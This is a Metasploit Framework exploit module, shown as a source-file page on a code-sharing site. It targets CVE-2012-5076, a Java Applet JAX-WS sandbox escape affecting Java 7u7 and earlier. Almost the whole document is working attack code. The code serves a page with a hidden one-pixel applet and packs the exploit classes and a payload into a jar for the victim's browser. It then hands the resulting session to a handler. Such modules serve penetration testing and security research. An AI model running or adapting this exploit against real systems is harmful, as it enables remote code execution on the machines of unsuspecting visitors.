CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/modules/exploits/multi/browser/java_jre17_jaxws.rb
Views: 11784
1
##

2
# This module requires Metasploit: https://metasploit.com/download

3
# Current source: https://github.com/rapid7/metasploit-framework

4
##

5


6
class MetasploitModule < Msf::Exploit::Remote

7
  Rank = ExcellentRanking

8


9
  include Msf::Exploit::Remote::HttpServer::HTML

10


11
  #include Msf::Exploit::Remote::BrowserAutopwn

12
  #autopwn_info({ :javascript => false })

13


14
  def initialize( info = {} )

15
    super( update_info( info,

16
      'Name'          => 'Java Applet JAX-WS Remote Code Execution',

17
      'Description'   => %q{

18
          This module abuses the JAX-WS classes from a Java Applet to run arbitrary Java

19
        code outside of the sandbox as exploited in the wild in November of 2012. The

20
        vulnerability affects Java version 7u7 and earlier.

21
      },

22
      'License'       => MSF_LICENSE,

23
      'Author'        =>

24
        [

25
          'Unknown', # Vulnerability Discovery

26
          'juan vazquez' # metasploit module

27
        ],

28
      'References'    =>

29
        [

30
          [ 'CVE', '2012-5076' ],

31
          [ 'OSVDB', '86363' ],

32
          [ 'BID', '56054' ],

33
          [ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],

34
          [ 'URL', 'http://malware.dontneedcoffee.com/2012/11/cool-ek-hello-my-friend-cve-2012-5067.html' ],

35
          [ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2012/11/15/a-technical-analysis-on-new-java-vulnerability-cve-2012-5076.aspx' ]

36
        ],

37
      'Platform'      => %w{ java win },

38
      'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },

39
      'Targets'       =>

40
        [

41
          [ 'Generic (Java Payload)',

42
            {

43
              'Arch' => ARCH_JAVA,

44
            }

45
          ],

46
          [ 'Windows Universal',

47
            {

48
              'Arch' => ARCH_X86,

49
              'Platform' => 'win'

50
            }

51
          ],

52
          [ 'Linux x86',

53
            {

54
              'Arch' => ARCH_X86,

55
              'Platform' => 'linux'

56
            }

57
          ]

58
        ],

59
      'DefaultTarget'  => 0,

60
      'DisclosureDate' => '2012-10-16'

61
      ))

62
  end

63


64


65
  def on_request_uri( cli, request )

66
    if not request.uri.match(/\.jar$/i)

67
      if not request.uri.match(/\/$/)

68
        send_redirect(cli, get_resource() + '/', '')

69
        return

70
      end

71


72
      print_status("#{self.name} handling request")

73


74
      send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )

75
      return

76
    end

77


78
    paths = [

79
      [ "Exploit.class" ],

80
      [ "MyPayload.class" ]

81
    ]

82


83
    p = regenerate_payload(cli)

84


85
    jar  = p.encoded_jar

86


87
    paths.each do |path|

88
      1.upto(path.length - 1) do |idx|

89
        full = path[0,idx].join("/") + "/"

90
        if !(jar.entries.map{|e|e.name}.include?(full))

91
          jar.add_file(full, '')

92
        end

93
      end

94
      fd = File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2012-5076", path ), "rb")

95
      data = fd.read(fd.stat.size)

96
      jar.add_file(path.join("/"), data)

97
      fd.close

98
    end

99


100
    print_status("Sending Applet.jar")

101
    send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )

102


103
    handler( cli )

104
  end

105


106
  def generate_html

107
    jar_name = rand_text_alpha(rand(6)+3) + ".jar"

108
    html  = "<html><head></head>"

109
    html += "<body>"

110
    html += "<applet archive=\"#{jar_name}\" code=\"Exploit.class\" width=\"1\" height=\"1\">"

111
    html += "</applet></body></html>"

112
    return html

113
  end

114
end

115


116